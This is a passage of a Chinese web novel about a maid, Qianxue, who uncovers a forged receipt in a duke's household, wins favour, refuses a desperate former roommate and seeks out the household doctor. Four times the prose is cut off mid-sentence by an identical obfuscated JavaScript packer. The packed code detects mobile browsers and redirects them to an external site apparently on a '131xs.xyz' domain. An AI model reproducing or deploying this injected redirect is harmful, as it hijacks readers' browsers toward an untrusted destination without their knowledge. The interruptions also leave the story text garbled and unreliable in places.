然而，千雪话锋一转，抬起头，目光清澈而坚定地直视着张副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908422|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管事，声音陡然拔高，带着不容置疑的质问，“但是，张副管事！我请问您，您方才拿来对账，指责我登记出错的那张单据，是原件吗？为何那张单据上，没有库房验收入库的回执副联？！” 她的话如同平地惊雷，炸得张副管事脸上的表情瞬间僵住。 千雪不给对方喘息的机会，语速加快，字字铿锵，“绿萝师父教导我，大额采买，无库房回执，单据不全，不得入账！此乃铁律！我今早整理单据时，明明见到一张金额为六十两，附有库房骑缝章的真单据！可后来，这张真单据不翼而飞，张副管事您却‘及时’地给我送来了一张金额八十两，却缺了最关键回执的‘干净’单据！还一再催促我速速登记！” 她一边说，一边迅速从怀中取出那张被妥善保存的真单据，双手呈给冯娘子，“娘子请看！这才是今早厨房送来的原件！库房印鉴清晰，斤两，单价，总价一目了然！我按那张假单误登了八十两，但心存疑虑，未敢签押，只等娘子回来定夺！” 账房内外，一片死寂。 冯娘子一把夺过两张单据，目光如电般扫过。一张金额六十两，库房骑缝章赫然在目；一张金额八十两，光秃秃一片！绿萝也凑近细看，随即拿起账册，对比千雪登记的笔迹，又翻看她之前登记的账目，脸色越来越沉，“娘子，千雪这笔账的字迹，与平日略有不同，像是……刻意模仿的？且她确实未曾签押！” 冯娘子脸上的怒气瞬间转化为冰冷的杀意。她猛地将两张单据拍在桌上，发出“啪”的一声巨响，震得茶盏都跳了一下。 “好！好得很！”冯娘子怒极反笑，目光如刮骨钢刀般剐向面如死灰的张副管事，“张有才！你好大的狗胆！竟敢伪造单据，偷梁换柱，构陷他人！来人！” 门外立刻闪进两个健壮的仆妇。 “给我把这吃里扒外的东西捆了！”冯娘子声音森寒，“即刻押去外院，请大管事和郑妈妈发落！就说他伪造单据，意图贪墨府银，嫁祸同僚，罪证确凿！” 张副管事腿一软，瘫倒在地，嘴唇哆嗦着想要辩解，却被仆妇利落地堵了嘴，拖死狗般拖了出去。整个过程快得惊人。 冯娘子凌厉的目光扫过噤若寒蝉的红玉等人，“还有谁？今日是谁在账房外探头探脑，是谁在跟着嚼舌根？自己心里清楚！再让我发现有人心思不正，这就是下场！” 红玉吓得脸色惨白，噗通一声跪倒在地，连连磕头，“娘子饶命！我再也不敢了！” 冯娘子冷哼一声，不再看她，转向千雪时，眼中的冰寒终于化开，带上了一丝激赏和庆幸，“千雪，你很好！心细如发，临危不乱，更难得的是谨守规矩，知道什么该做，什么不该做！若非你机警，今日险些让这蠹虫得逞，坏了采买处的名声！” 她又看向绿萝，“绿萝，你教了个好徒弟！” 绿萝紧绷的神色终于放松，看向千雪的目光充满了欣慰和骄傲，轻轻点了点头。 危机解除，账房内紧绷的气氛渐渐缓和。千雪后背的冷汗这才慢慢干透，她恭敬地垂首，“都是娘子明察秋毫，师父教导有方。我只是尽了本分。” 冯娘子满意地点点头，亲自拿起那张真单据，“这笔账，按这个登。至于那个她……”她眼中寒光一闪，“她经手的账目，给我一笔一笔重新彻查！我倒要看看，他这手伸得有多长！” 一场风波，看似平息。但千雪知道，经此一事，她算是彻底在采买处站稳了脚跟，也彻底卷入了这国公府深不见底的暗流之中。她的小几旁，那盆炭火正旺，映着她的侧脸，带着些许沉静。 绿萝悄悄递过来一小包松子糖，低声道，“压压惊。你做得很好。 千雪接过那带着体温的油纸包，指尖微暖。她知道，前路依旧漫长，但至少此刻，她赢得了师父的认可，和冯娘子这把暂时的保护伞。至于未来……她看着窗外又开始飘落的雪花，眼神越发沉静。兵来将挡，水来土掩罢了。 9. 第九章 被赏了 经此一事，采买处看似恢复了平静，冯娘子坐镇中堂，脸色冷峻，亲自彻查张副管事经手的所有账目，绿萝和千雪协助，一丝一毫都不敢错漏。 空气里弥漫着一种令人窒息的紧绷感，连走路都刻意放轻了声响。 西院深处，大厨房区域。 蒸腾的热气混合着油烟和各种食物的气味，人声鼎沸，炉火通红。 厨房管事赵妈妈正掐腰站在灶台旁，指点着一个帮厨婆子处理一条肥美的江鱼。她五十出头，体态丰腴，脸上常年带着油光，一双手粗壮有力，眼神却精光四射。 她是老国公爷时代留下来的老人，在这热气腾腾、油水十足的天地里经营多年，早已是自成气候的一股势力。 一个小管事附在她耳边，低声急促地将采买处刚刚发生的事情说完。 “……张副管事被捆了送去外院大管事那边了，冯娘子震怒，正……正翻她老底呢！” 赵妈妈摩挲着鱼鳃的动作猛地一顿，指尖用力，脸上的油光似乎都僵了一下。 随即，她扯出一个看似浑不在意的笑容，声音洪亮依旧，“啧，这个不成器的张杏儿！让他去办点事，居然捅出这么大篓子？真是老糊涂了，手脚不干净还想拉别人垫背？活该！冯娘子手段就是利索，这种败类就该狠狠收拾！” 她嗓门大，旁边几个竖着耳朵的厨娘、帮工们听得真切，不少人交换着眼色。赵妈妈这“义愤填膺”的表态，撇得干干净净。 “行了行了，都盯着我看什么？手上活计都做完了？年底的宴席堆成了山，还想不想拿赏钱了？”赵妈妈不耐地挥挥手，驱赶着看热闹的下人。待众人散去，她转身走向僻静的小库房，脸上的笑容瞬间消失得无影无踪，只剩下被炉火映照得明暗不定的阴沉。 她猛地将手中擦汗的布巾掼在地上，低声从牙缝里挤出几个字，“废物！一点小事都办不利索，还反被一个黄毛丫头揪住了狐狸尾巴！”眼神里是浓浓的阴鸷和不甘。 张杏儿这颗钉子废了事小，断了她在采买处伸进去的手脚事大！更重要的是，这一下被冯娘子拿住了把柄，以后想在那头弄点“油水”，怕是难如登天，说不定连带着厨房这边的开支也要被盯得更紧。 “小蹄子……千雪？”赵妈妈咀嚼着这个名字，眼神阴冷，“冯娘子这个老狐狸，倒是会捡棋子！” 与此同时，国公府正院。 气氛与外间的忙碌喧嚣截然不同。宽阔精致的正房温暖如春，上好的银丝炭几乎无烟，只余一缕清冽淡香。 紫檀木案上供着的腊梅清雅吐芳，冲淡了角落药味。 国公夫人杜氏倚靠在铺着厚厚狐裘的贵妃榻上，脸色带着病后的倦容和虚弱，却掩不住那份养尊处优的雍容气度。 她身上搭着薄毯，听完了垂手恭立在榻前的郑妈妈低声的禀报。 “……起因是厨房买炭的一笔账目，张杏儿，就是采买处原先那个副管事，她见绿萝即将陪小姐出阁，千雪那丫头刚被冯娘子调进账房根基不稳，便起了歹心。伪造了单据，多报了二十两银子，想构陷千雪粗心大意、错登账目，好把水搅浑，图谋账房的位置。不想那千雪心细如发……” 郑妈妈的声音平缓清晰，没有丝毫添油加醋，却将关键节点都点得清清楚楚，“……她记下了真单据缺失库房回执这个破绽。趁着张副管事放松警惕，竟将那被藏匿的真单寻了出来。冯娘子回来时，那张杏儿果不其然跳出来发难，却被千雪当众戳穿，人证物证俱在……冯娘子雷霆手段，当场捆了人送交外院严办。此事已查实，张杏儿确有侵吞过往采买款之嫌，府里已按规矩处置了。” 国公夫人静静地听着，纤长的手指轻轻拨弄着细瓷茶杯的边缘，眼神落在袅袅升起的热气上。 “张杏儿……是赵妈妈那边引荐的吧？”夫人声音不高，带着点病中的沙哑，却有着洞察一切的平静。 郑妈妈垂首，“夫人明鉴，是赵妈妈的娘家媳妇。” 夫人嘴角牵起一丝若有若无的弧度，带着点讥诮，“老物件了，眼皮子还是这么浅。为了二十两银子，把自个儿填进去了。” 她顿了顿，话锋转到关键处，“你说……是那个叫千雪的丫头揪出来的？就是前些日子你顺手从洗衣房调去采买处的？” “正是，夫人记性好。”郑妈妈微微颔首，“冯娘子夸她心细、稳重、懂规矩，更难得临危不乱，识大体，关键时候能顶得住。绿萝对她也是倾囊相授，称赞她一点就透，学得用心。” “懂规矩……”夫人低声重复了一句这三个字，指尖轻轻敲了敲杯沿。在国公府这样的地方，尤其是账房重地，“懂规矩”比单纯聪明机灵更为重要。 郑妈妈察言观色，又道，“老奴先前也没想到，这无心插柳的一调，倒是调出了个得用的。也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908423|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算因祸得福，替夫人府里拔了一颗暗藏的蛀牙。” 夫人微微闭上眼，似乎有些疲倦，声音也轻了些，“蛀牙拔了好。冯氏驭下有方，处置得当。账房那边……既然冯氏看好，绿萝也快走了，便让那丫头好好跟着干吧。该赏的，按府里规矩赏便是。” “是，老奴省得。”郑妈妈恭敬应道。 “好了，你办事周全，我都知道了。下去歇着吧。”夫人摆了摆手，重新靠了回去。 “是，夫人保重身子。”郑妈妈行了一礼，悄无声息地退了出去。 这份来自最高主母的“意思”，如同水面投下的一颗石子，其涟漪很快便荡了出去。 下午，当两盒细点心和一小封银锞子的赏赐由郑妈妈院里的一个小丫鬟送到采买处账房，指名是“夫人体察账房辛苦，特意嘉奖千雪做事心细、恪尽职守”时，整个采买处都轰动了。 冯娘子脸上是毫不掩饰的欣慰和得意。绿萝嘴角含笑，看着千雪的眼神充满了鼓励。 “千雪妹妹，夫人亲赏的呢！你太厉害了！”旁边的小丫鬟们羡慕地看着那上好的料子和点心，连红玉都夹在人群中，神情复杂，再不敢有半分挤兑。 千雪接过那份沉甸甸的赏赐，她深深一福，声音带着激动和恭敬，“奴婢谢夫人天恩！定当更加用心办差，不负夫人和冯娘子，绿萝师父的厚望！” 表面上风光无限，但千雪心底的警醒却更甚，一旦行差踏错，摔下来会更惨。这次是张副管事那个蠢货，下次呢？赵妈妈吃了这么大一个闷亏，这些暗处的刀锋，只会更加锐利。 “好了，夫人厚赏，是咱们采买处的荣光。”冯娘子环视四周，“但更要清楚，府里容不得半丝错漏！都打起精神来，该干什么干什么！” 账房再次忙碌起来，算珠声密集如雨。千雪回到自己的小几旁，将那份烫手的赏赐小心收好，重新拿起算盘和账簿。 她用眼角的余光瞥了一眼冯娘子的背影，心中暗忖，接下来，就得好好抱住这根大腿，学得真本事，才是在这虎狼之地活下去、活得好的根本。 正院那边的风吹草动，自然也卷回了大厨房。听着小管事战战兢兢地回报夫人竟然亲赏了那个坏了大事的千雪。 “好……好得很……”赵妈妈咬着后槽牙，声音像是从石磨里挤出来的，“走着瞧，这才刚开始呢！总有你从高处摔下来的时候！” 10. 第十章 好学 经历了一番波折，凭借勤勉和一点运气，千雪在采买处总算是初步站稳了脚跟。转眼到了年关，府里采买用度激增，账房的事务也格外繁杂，算盘打得噼啪作响，单据堆积如山。 饶是千雪适应力强，也感到了压力。绿萝见她忙中有序，只是偶尔紧蹙着眉头，便温和地安抚道，“别慌神，年下就是这样，千头万绪的，事儿扎堆，等过了这阵风头，平日里可没这么忙乱，松泛的时候多着呢。” 千雪乖巧点头，脸上带着感激，“多谢师父提点，我不怕忙。”她心里也感念绿萝的照拂，想着报答。 恰巧前两日得了点国公夫人院子流出来的赏，千雪没有犹豫，后门货郎上门的时候，用心挑了个结实耐用绣工扎实的荷包，亲手送给了绿萝，“师父日日辛苦，这小物件不值什么，是个心意，盼师父莫要嫌弃，我没学过刺绣不然肯定亲手绣了给你。” 绿萝接过荷包，指尖感受着细密的针脚，眼中闪过一丝暖意，“你有心了。”她确实需要这么一个装零散物件的袋子，这份礼物很实用，哪里会因为不是她亲手绣的而不喜欢。 千雪也没忘了当初的引路人。她深知若非那个名叫虎头的小厮及时寻来了冯娘子，自己如今只怕是在厨房打杂了。 她又特意买了只热腾腾、香喷喷的油纸包烧鸡，寻了个空当递给虎头。 虎头闻着那勾魂摄魄的肉香，眼睛都亮了，笑嘻嘻地接过，“千雪姐，这太破费了吧！”他人虽小，心思活络，知道千雪是个知恩的。 “应该的，”千雪笑着塞给他，压低了声音，“若非你跑得快，我也没这机会，这个你拿着吃一点小东西，别嫌弃。”顿了一下，她又趁机道，“虎头，还有件事想托你……得闲的时候，能不能帮我从外面捎几本基础的医书回来？” 虎头正对着烧鸡咽口水，闻言一愣，疑惑地问，“医书？千雪姐，你要那玩意儿干嘛？” 千雪微微叹了口气，神情认真起来，“我想着多学点东西傍身，你想想，要不是我会认几个字，能打两下算盘，冯娘子能瞧得上我么？这识字算账的本事谁也抢不走。我觉得……医理药理也算是个能安身立命的手艺，多懂一点总没错。” 这番话让虎头收起了嬉笑的神情，他咂摸着滋味，第一次真正打量起眼前这个新晋的账房“姐姐”。半晌，他忽然一拍大腿，“哎哟！千雪姐，你可真够……好学的！”他眼珠转了转，鬼主意又上来了，“不过你说得对！学点真本事不吃亏。但买书真不值当！书这东西贵得紧，买它多花冤枉钱啊！府医张大夫那儿！我记得他藏着好些医书呢！那老头儿，嘿，最爱这一口，” 他晃了晃手里的烧鸡，“你呀，也甭花那买书的钱了！改天拎半只烧鸡，再想法子弄点便宜的酒，往他那儿一送，哄他高兴了，就说是好奇想借来看几天学点皮毛，他保管乐颠颠地借给你！保管！” 千雪听得眼睛一亮，顿时眉开眼笑，“这主意好！虎头，还是你有门道！” 虎头得意地扬了扬下巴，感觉比啃鸡腿还香，“那是！咱在府里混，不就讲究个人情世故嘛。” 千雪眼珠一转，又带点不好意思地问，“那……虎头哥，你平日里常在府里走动，可有认识人缘好的护院大哥？最好是肯指点人，不嫌麻烦的那种？” 虎头刚咬了一小口烤鸡，闻言差点噎住，瞪大眼睛看着千雪，“啊？护院？你还想学武？我的乖乖！你一个丫头，学认字打算盘还不够，还想练拳脚？你这也太，太好学了点吧？” 千雪被他夸张的样子逗笑了，但眼神依旧认真，“都是本事嘛。身强力壮、能跑能跳也是本钱不是？万一遇到点什么，跑得比别人快也是好的呀。你就当是我吃饱了撑的，瞎折腾吧。” 虎头啧啧称奇，打量着千雪单薄的身板，“行行行，你这想法……够新鲜！护院那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908424|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛……”他皱着眉头思索起来， “护院啊……咱们府里的护院可不好说话，规矩也严。不过嘛……我倒是认得一个，是我远房叔伯辈的，在四门那边当值，力气大，性子也直，私下里教人两下子应该不打紧。回头我帮你探探口风？不过我可先说好，人家教不教你，我可不敢打包票！你这心思也忒野了点。” 千雪连忙笑着拱手，“那是！烦请虎头哥先帮忙问问，我不会白学，我会给银钱的，成与不成，我都记着你的好！” 看着千雪这越学越上瘾的劲头，虎头挠挠头，只觉得这账房新来的丫头，想法实在是不走寻常路，但这份劲头，又让他心里隐隐有点佩服。也许，在这深宅大院里，能这么想、这么做的人，总能闯出点不一样的路子？他含糊地应了声，打算回头瞅机会问问看。 与虎头在寒风料峭的院子角落分别后，千雪紧了紧身上略显单薄的袄子，转身朝采买处旁的倒座房走去。她的住处已经搬到了这里，是间小小的两人间。原本与绿萝同住，但随着二小姐婚期临近，绿萝不久就要搬到内院去陪小姐住，再随嫁出去。等绿萝一走，这方寸之地就成了千雪一个人的清净窝，对她而言是难得的舒适与体面。 正盘算着绿萝的离开，千雪心里又泛起了那份深切的感激。绿萝师父待她尽心尽力，以后各为其主，相见便难了。 她摸了摸袖袋里冯娘子前日刚发的、还带着体温的份例铜钱，暗暗下了决心，无论如何，得想办法送绿萝一件贵重些，体面些的礼物，不枉师徒一场的情分，还有冯娘子，要不是她自慧眼识人，自己也来不了采买处。这想法沉甸甸地压在她心头，比这严冬的风更有分量。 心思重重地走到倒座房不远处的甬道口，千雪远远就瞧见门口青石台阶旁缩着个人影。天灰蒙蒙的，那身影蜷在风里，显得格外瘦小瑟缩。走近了几步，千雪脚步一顿，认出了来人——竟是顺心！ 11. 第十一章 顺心来找 自从那日被冯娘子从下人院拎到采买处，千雪就再没回过那低矮拥挤的集体通铺房，同批卖进来的四个丫头，命运已悄然分岔。 缩在寒风里的顺心一看见千雪，眼睛先是亮了一瞬，随即又蒙上一层更深的不安和怯懦。她慌忙从冰冷的台阶上站起，双手紧张地绞着单薄粗布衣的衣角，迎上前两步，嘴唇蠕动了两下，却紧张得没发出声。 自从那日被冯娘子从下人院带到采买处，她就再没回去过。见到顺心这张熟悉却更显憔悴的脸，千雪心头没有故人重逢的喜悦，反而警铃大作！张副管事那充满恶意的眼神、那几乎将她推入深渊的陷害骤然闪回——顺心怎么会突然找到这里？她跟谁在一起？那个赵妈妈掌管的厨房……是不是又想搞什么花样？ 千雪的心骤然绷紧，她面上不动声色，维持着平静走到顺心面前，声音听不出多少温度，“顺心？你怎么到这儿来了？找我？” “雪……千雪姐！”顺心如同被鞭子抽了一下，猛地抬起头，随即却做出了让千雪都差点后退的动作——她竟扑通一声跪在了冰冷的青石地上！膝盖撞地的闷响在寒风中格外刺耳。 “千雪姐！求你……求你救救顺心吧！”顺心抬起头，脸上涕泪横流。 “咱们一起进来四个人，春花和红梅如今都在厨房了！就……就只有我还在那下人院，日日刷马桶、倒恭桶……那地方，真不是人待的！千雪姐，我知道你现在冯娘子跟前得脸……求你……求你帮我说句话，让我也来这里吧！做什么粗活都行，我……我真的受不了了……”她语无伦次，哭得几乎背过气去。 千雪眉峰几不可察地一蹙，她心里咯噔一下，顺心不是和春花红梅一起在厨房吗？厨房是赵妈妈的地盘，而自己和冯娘子正来自与厨房不合的另一方！顺心此刻跑来，哭诉着厨房有多可怕，却求着来冯娘子这边……这算什么？是厨房派来试探她态度？还是想借她这新人当跳板？更或者是想在她这里埋颗钉子？ 想到此处，千雪背后都浸出了一层冷汗。那张副管事诬陷她偷东西时的情形历历在目，这府里，表面是一潭静水，底下全是吃人的漩涡！ 她看着眼前痛哭流涕、卑微如尘的顺心，眼底深处掠过一丝不忍。 同是天涯沦落人，做最底层杂役的痛苦她何尝不懂？若非亲身经历过张副管事那一遭，她或许就信了这份凄惨，或许……也会心软。 但此刻，千雪强压下心头那一闪而过的怜悯，声音比刚才更加冷静平稳，带着点疏离和谨慎的试探， “哦？春花和红梅都在厨房了” 她故意顿了顿，观察着顺心的反应，“那……你怎么不去求她们帮忙？她们若开口，替你换个差事，或许比我这个刚调来采买处没多久的人，更有门路？”她紧紧盯着顺心，不放过她脸上任何一丝细微变化。这话，既是反问，也是试探，若顺心真是被厨房指使来接近她的，这话就足以让她露出马脚。 顺心哭声一顿，眼神迅速闪躲开千雪锐利的目光，双手下意识地抓紧了衣角，“她们……春花她……在厨房好像有点得意了，不太……不太和我们这些旧人亲近了……红梅……红梅性子你也知道，独得很，从来只做自己那份活……我……我不敢去麻烦她们……”这番话情真意切。 千雪沉默了，顺心或许是真的很惨，也很无助。但这恰恰是最危险的，她不敢确定顺心背后有没有人指使，不敢确定这份求助里是否包裹着厨房派来的陷阱。 她好不容易才在这采买处，在冯娘子和绿萝的保护下站稳一点点脚跟，正在全力为顶替绿萝的位置努力。此刻一丝一毫的错误或牵连，都可能让她前功尽弃。 她深吸了一口冰冷的空气，这才缓缓开口， “顺心，”她的声音很轻，但清晰的落入顺心的耳朵里，“你有你的难处，我能明白一点，但你看我现在的样子，”她摊开手，展示着身上与顺心那身粗布相比稍好一些、但也绝谈不上富贵的青布袄裙，“我在采买处，也不过是个刚来不久、连账本都没摸透的小丫鬟，在冯娘子，郑妈妈那些人眼里，我连棵葱都算不上。”这话既是事实，也是在划清界限。 她目光坦然地迎上顺心绝望的眼神，“我自己的路都走得战战兢兢，生怕下一步踩空跌进坑里，实在没有多余的心力，也没能力去替别人铺路搭桥。”她停住，看着顺心因希望破灭而更加灰败的脸，最后那句话，说得很慢，带着点斩断过往牵连的决绝，“更何况，你我同屋时也没多少交情。今日你贸然来求我替你谋出路……恕我直言，这份‘信任’，我担不起，也不敢担。” 顺心怔怔地瘫坐在冰冷的青石地上，所有的希望和力气仿佛都被抽干了。 她张了张嘴，最终什么也没说出来，然后慢慢地、极其缓慢地，从地上爬了起来，转过身，佝偻着背，像一具失去灵魂的影子，一步，一步的，重新朝着那个飘荡着秽臭的下人院方向挪去。 千雪定定地站在原地，袖中的拳头紧握着，指节发白。 她能清晰地看到顺心那单薄瘦削的背影在寒风中一步一趔趄，肩膀不住地抽动着，走向那个充满了污秽与绝望的下人院。那佝偻的背影，像一记沉重的闷锤，一下下敲打在她心上。 理智告诉她，她是对的。刚被张副管事算计过，又在冯娘子和绿萝庇护下才勉强于采买处扎根。 顺心的出现太过突兀，又与厨房那伙人牵扯不清，谁知道是不是糖衣裹着的毒药？她自保尚且艰难，绝无能力，更没理由去拉一个无甚交情，甚至来历存疑的人上来。 可心底那一丝微弱的不忍，终究没被彻底扼杀。就在顺心即将消失在拐角的时候，千雪终究没忍住，往前小跑了两步，冲着那个绝望的背影提高了些许声音， “顺心！” 那身影猛地一顿，却没立刻回头。 千雪吸了口气，声音不大，像是劝慰，更像是某种无力改变下的清醒忠告。 “不管你现在觉得日子有多难，靠谁……都不如靠自己！手里捏着点别人抢不走的真本事，认几个字，学点旁人不会的手艺……这才是立身的根！别总想着攀附谁！” 这番话，更像是她说给自己的箴言，只是在此刻，对着这个无望的“故人”，倾泻而出。 说完，她便立刻转过身，没有再去看顺心的反应，仿佛卸下了一点无形的负担，却又添了几分沉重，快步走向倒座房的屋门。 顺心缓缓转回头，脸上泪痕未干，眼中刚刚燃起的一点点火星，在千雪决绝转身的背影里迅速黯淡下去。 她听懂了，却又更绝望了——在这座深宅里，像她这样的人，能靠什么“立身的根”？她看着千雪消失在门内，最终只张了张嘴，对着空无一人的风廊，极其微弱地嗫嚅了一句，“……谢…谢谢……”声音飘散在风里，无人听闻。 她抬手抹了把脸，冰冷刺骨，然后更加用力地抱紧了自己单薄的身子，一步三回头，终于还是朝着那散发着熏人臭气的下人院挪了回去。 下人院角落，那片冰冷潮湿、弥漫着混合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908425|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了劣质皂角也掩盖不了的浓浓恭桶气味的大通铺区域。顺心低着头，还没走近自己铺位，一个身影就带着压抑的怒火和浓浓的廉价的桂花油香味堵在了她面前。 是王春花。 她身上已经换了一身比粗布略好、却洗得发硬的厨房杂役袄子，虽然依旧低等，但比顺心身上那身散发着馊味的破衣强太多了。 王春花双臂抱胸，下巴微抬，眼神像刀子一样刮过顺心红肿的眼睛和灰败的脸色，脸上毫不掩饰失望和轻蔑。 “怎么样？”王春花压低声音，带着一丝不耐烦的逼迫，“是不是没成？瞧你这副丧气样！”她根本不需要顺心回答，那结果写在脸上。 顺心身子一哆嗦，把头埋得更低了，想绕开她走。 “啧！站住！”王春花一步跨上前，用力在顺心的胳膊上狠狠掐了一把！那力道大得立刻留下一片深红的指甲印！ “啊！”顺心痛得低呼一声，泪水又涌了出来，本能地想躲。 “躲什么躲！”王春花声音更厉，透着一种小人得志的刻薄，“我就知道你这死丫头没用！这点事都办不好！赵妈妈今儿还问我呢，你让我怎么回？！”她语气既怒且惧，生怕在赵妈妈那里失了面子——她可是拍着胸脯对赵妈妈保证能把顺心塞进采买处。 “我……我说了……她不……”顺心委屈地嗫嚅着，却无法完整表达。 “她不帮你？！还是你笨得连话都不会说？！”王春花气得又伸手要掐，顺心吓得往后一缩。 看着顺心那副怂包样，王春花满腔的怒气无处发泄，又不敢真的闹大主要是怕管事责罚，最终只能恶狠狠的说， “废物点心！千雪那点狗屎运都抓不住！你就活该烂在这下人院，刷你那臭烘烘的恭桶吧！一辈子当个掏粪的贱货！我看你这辈子也就这点出息了！滚开！” 她恶狠狠地说完，用力搡了顺心一把。顺心一个趔趄，差点摔倒在一只还没来得及清走的半满恭桶旁，那刺鼻的气味直冲脑门。王春花则像驱赶苍蝇一样，嫌弃地拍了拍衣袖，仿佛顺心身上的穷酸和晦气会沾染到她身上，扭着那穿着“好衣服”的腰肢，扬长而去，留下顺心对着满地的污秽和绝望，连哭都不敢大声。 千雪用力推开了倒座房的木门，屋内比外面暖和不了多少，仅靠一个小小的炭盆散发着微弱的热气。她反手关上门，背靠着冰凉的门板，长长地、压抑地吁出一口气，只觉得胸腔里堵得慌。 那股挥之不去的沉郁，并非完全是对顺心处境的冷酷无视，更多的是那种眼睁睁看着别人即将滑向深渊，自己却只能袖手旁观的无力与自我诘问。 换位思考……若她是顺心，此刻困在那污浊不堪的下人院，被所有人踩在脚下，面对这陡然出现的、昔日同伴的“青云路”，会不生出一点求助的希冀吗？会不求人拉一把吗？易地而处，恐怕会想得更卑微、更绝望吧。 千雪用力闭了闭眼。那丝不合时宜的怜悯与对现实的冰冷认知在脑海里反复撕扯。最终，理智稳稳占了上风——张副管事的算计犹在眼前，赵妈妈的厨房派系敌我难明，她自身立足未稳，冒然伸手，只会是将自己和对方一同拽入泥潭。但那份挥之不去的沉重，却像一块顽石压在心头，久久无法散去。 不能沉溺于这种无用的情绪。千雪猛地睁开眼，眸光重新变得坚定锐利。顺心的路只能自己闯，而她千雪的立身之本，唯有靠真本事！她用力甩了甩头，仿佛要将那份纠结甩脱，走到简陋的桌边，从小木箱里珍重地取出铜钱。 12. 第十二章张府医 一个下午的时光在核账对单中飞快过去。年关忙碌，竟难得给了她片刻喘息的空档，千雪抓紧时机，寻到看守西侧门、与冯娘子有些拐弯抹角亲缘关系的徐婆子。她脸上堆起晚辈特有的讨好笑容，塞给徐婆子一小把铜钱，“徐妈妈，劳您帮个小忙。这钱您拿着买碗热茶暖暖身子。” 徐婆子掂量着手里的铜钱，脸上立刻笑开了花，“哎哟，千雪姑娘就是客气，有啥事你尽管说！” “烦请徐妈妈帮忙，从外面带只烧鸡和一小坛好点的村酿回来。”徐婆子的儿子在外院当值，确实方便捎带些私货。 徐婆子立刻点头应承，“小事儿！包在老婆子身上！管保叫你满意！”千雪在冯娘子手下做事，又得郑妈妈调拨过，这点顺水人情徐婆子还是愿意做的。 不多时，烧鸡喷香的油纸包和一坛贴着“醉香坊”红纸的村酿就送到了千雪手里。 她小心拿着这两件东西，避开人多眼杂的路径，朝着府中相对偏僻的一角，那座供府医张大夫居住和看诊的小院走去。 天色向晚，小院里静悄悄的。青石板铺就的院子里散落着些未清扫的药草残渣，冬日里几盆耐寒的药草也显得蔫蔫的。 一个年约五旬、须发已见花白的干瘦老者，正披着半旧不新、袖口还沾着几点污渍的薄棉袍子，倚靠在正屋檐下的一把吱呀作响的藤编圈椅里。旁边一个小炭炉煮着药罐，咕嘟咕嘟冒着气，更添几分慵懒气息。这便是府医张大夫。当年据说是在外面坐堂坐烦了，嫌“太忙、太聒噪”，这才找了个安稳又清闲的公府府医职位，图的就是个清静自在。 千雪的脚步声惊动了这方惬意。 张大夫撩起眼皮，浑浊的老眼带着被打扰的不悦看过去，一个陌生的，打扮利落的小丫鬟？他眉头一皱，心里嘀咕，又是婆子丫鬟上门讨便宜药来了？ 不料千雪走到近前，二话不说，将那香飘四溢的油纸包“醉香烤鸡”和那坛看着就不错的“醉香坊”村酿往旁边石桌上一放。她也不废话，挽了挽袖子，径直走到墙角拿起那把积了层灰的大扫帚！ 张大夫愣住了，刚张开的，想说“去后面排队”的嘴巴也忘了合拢，呆愣地看着这反常的一幕。只见这小丫头挽起袖口，露出一截细细白白的手腕，麻利地挥动着扫帚，哗啦哗啦地开始打扫起他那满是残叶药草的地面来！那动作，虎虎生风，哪里像个有病的？ 老头儿更纳闷了。 他懒洋洋地挪了挪身子，索性跷起二郎腿，一边咂摸着烤鸡和酒坛飘来的诱人香气，一边斜着眼瞅着千雪在那儿闷头大干特干。心里直犯嘀咕，这丫头几个意思？无事献殷勤？是得了什么怪病不好说？还是……脑子有问题？ 约莫小半个时辰过去，院子里的落叶药草都被扫得干干净净，堆成了一个小山包。千雪放下扫帚，额角鼻尖渗出了细密的汗珠，脸蛋红扑扑的，微微有些气喘。 她抬手用袖子抹了把汗，走到那石桌边，看向一直观察她的张大夫，脸上露出非常诚恳的笑容，开门见山，“张大夫，劳驾您老，奴婢……奴婢想跟您借几本医书看看，成吗？” 